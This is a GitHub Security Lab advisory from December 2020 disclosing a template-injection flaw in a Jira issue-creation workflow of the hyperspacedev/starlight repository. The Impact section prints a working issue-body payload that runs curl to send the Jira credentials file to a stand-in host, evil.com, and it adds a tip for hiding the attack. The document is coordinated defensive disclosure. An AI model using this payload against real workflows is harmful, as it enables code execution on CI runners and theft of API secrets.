December 3, 2020

GHSL-2020-210: Template injection in the GitHub workflow of hyperspacedev/starlight repository

Jaroslav Lobačevski

Summary

Automatic GitHub workflow in hyperspacedev/starlight repository is vulnerable to template injection from user comments.

Product

hyperspacedev/starlight repository

Tested Version

Root branch.

Details

Issue: Hidden expression expansion of input parameters passed to atlassian/gajira-create

Jira Create issue step in jira-create.yml workflow is vulnerable to template injection.

${{ github.event.issue.title }} and ${{ github.event.issue.body }} are used to format input values to atlassian/gajira-create action:

    - name: Jira Create issue
      uses: atlassian/gajira-create@v2.0.0
      with:
        project: HS
        issuetype: Task
        summary: ${{ github.event.issue.title }}
        description: ${{ github.event.issue.body }}

The action has a hidden feature - it expands {{}} internally. This way when the comment body contains an expression in double curly braces it is evaluated by node.js in these actions.

Impact

This vulnerability allows for arbitrary code execution in the context of GitHub runner. For example a user may create an issue with the body:

{{ process.mainModule.require('child_process').exec(`curl -d @${process.env.HOME}/.jira.d/credentials http://evil.com`) }}

which will exfiltrate the secret Jira API token to the attacker controlled server. To make the attack less visible an attacker may modify the issue to Never mind my bad and close it.

Coordinated Disclosure Timeline

  • 10/29/2020: Report sent to owner
  • 10/30/2020: Fixed by vendor

Credit

This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-210 in any communication regarding this issue.